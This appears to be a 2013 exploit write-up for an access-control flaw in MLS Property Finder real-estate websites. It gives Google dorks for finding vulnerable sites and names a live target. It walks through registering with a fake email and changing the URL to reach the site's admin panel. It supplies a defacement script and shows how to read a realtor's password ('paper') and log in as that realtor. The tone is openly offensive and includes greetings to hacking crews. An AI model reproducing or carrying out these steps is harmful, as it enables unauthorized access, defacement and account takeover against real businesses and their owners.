MLS Property Finder Improper Access Control

`===========================================================   
MLS Property Finder Improper Access Control Vulnerability   
===========================================================   
  
:-----------------------------------------------------------------------------------------------------------------------:   
: # Exploit Title : MLS Property Finder Improper Access Control Vulnerability   
: # Date : 08 March 2013   
: # Author : X-Cisadane   
: # Vendor : http://www.mlspropertyfinder.com/ AND http://www.rls2000.com/   
: # Version : All Versions   
: # Category : Web Applications   
: # Vulnerability : Improper Access Control Vulnerability   
: # Tested On : Google Chrome 24.0.1312.52 m (Windows XP Professional SP 3 32-Bit EN US)   
: # Greetz To : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Jakarta Anonymous Club, Bogor-H, Jabar Cyber   
:-----------------------------------------------------------------------------------------------------------------------:   
  
DORKS (How to find the target) :   
================================   
intext:How can MLS Property Finder benefit you   
intext:"Do not use commas in your figures" inurl:calculator.asp   
inurl:/register.asp?agentid=   
intext:"Sign up for MLS Property Finder - "   
intext:Take advantage of my FREE MLS Property Finder service   
inurl:/detail_agent.asp?agentid=   
inurl:/searchNEW.asp   
intext:"Fill out the form below for a market analysis"   
inurl:/listing.asp?SearchType=ByOffice   
intext:daily email updates, and much more with MLS Property Finder.  
  
  
Proof of Concept   
=================   
The website (CMS) does not restrict access to the "/update" path to a registered member. A registered member can access into the   
Website CMS Manager and Managing the Website through "/update" path via URL without Realtor (Site Author) Privilege!   
  
For Example :   
Live Target : http://www.gowithcraig.com/register.asp?agentid=406764   
  
1st. Sign up into the Website by Clicking 'Sign up for MLS Property Finder now' or through http://www.gowithcraig.com/register.asp?agentid=406764&s=contact   
2nd. In the Registration Page, fill your contact information (just for formality). Fill the first name, last name, fake email address, etc.   
Pic : http://i50.tinypic.com/2qn4207.png   
  
3rd. Next click '>> Step 2'. After Search Criteria Form appeared you've to fill out that (just for formality). Then click Submit.   
Pic : http://i49.tinypic.com/4l35nn.png  
  
4th. Afer you've Clicked Submit button and if the Registration Process was sucessfull, this notification will appear : Thank you, For signing up for my MLS Property Finder,   
you will receive an email with your username, password and instructions on how to log in to see your listings. Click here to view information on your properties selection.   
Pic : http://i48.tinypic.com/33vj9zr.png   
  
5th. Just click : 'Click here' and you has entered the Site within 'Registered Member' feature/privilege.   
Pic : http://i45.tinypic.com/2d8q23a.png   
  
Now, How we can step into the Site Manager???   
Look at your URL Bar, if the URL is http://www.mlspropertyfinder.com/home/home.asp You've to change into http://www.mlspropertyfinder.com/update/   
Pic : http://i47.tinypic.com/w17l9t.png   
Voila!!! Now you can Manage the site :)  
  
If you wanna ruin (Deface) the Site, just replace the content of Site Homepage through http://www.mlspropertyfinder.com/update/update_websiteinfo.asp   
Pic : http://i47.tinypic.com/a2u72w.png   
And then Click Edit Content. After that, Click Front Page.   
Pic : http://i48.tinypic.com/24phs8p.png   
And the HTML Editor/Page Editor will show.   
Just fill Meta Title with : Defaced By Your Nick Name.   
And fill the Body (CLICK HTML<> BUTTON) with this Script : <script>document.body.innerHTML="<h1>0WN3D</h1>This Site 0WN3D BY : Your Nick Name<br/>";</script>   
Pic : http://i46.tinypic.com/muu0q1.png   
Click Apply and OK! And Submit. Check the Site (http://www.gowithcraig.com) and Voila!!! Defaced!!!   
Pic : http://i50.tinypic.com/1zofdz4.png  
  
If you wanna find the Realtor Agent (Site Author), just go to http://www.mlspropertyfinder.com/update/agents/   
Pic : http://i46.tinypic.com/optkb5.png   
Look at the Password : paper (Based on my picture above). After you got the password, now you can login as the Realtor Agent (Site Author) through http://www.gowithcraig.com/update/   
Fill Username with the AgentID : 406764 and Fill Password with : paper   
Pic : http://i50.tinypic.com/24czloy.png   
Q : Where can I find the AgentID?   
A : AgentID appeared in URL Bar while you in the Register Page, If you've forgotten the AgentID just go through the Registration Page :)  
  
If the Username and Password was right, now you can login As Realtor Agent (Site Author)   
Pic : http://i49.tinypic.com/296iyid.png   
  
As the alternative Login page for Site Author you can use this Site http://www.rls2000.com/search/login.asp  
  
`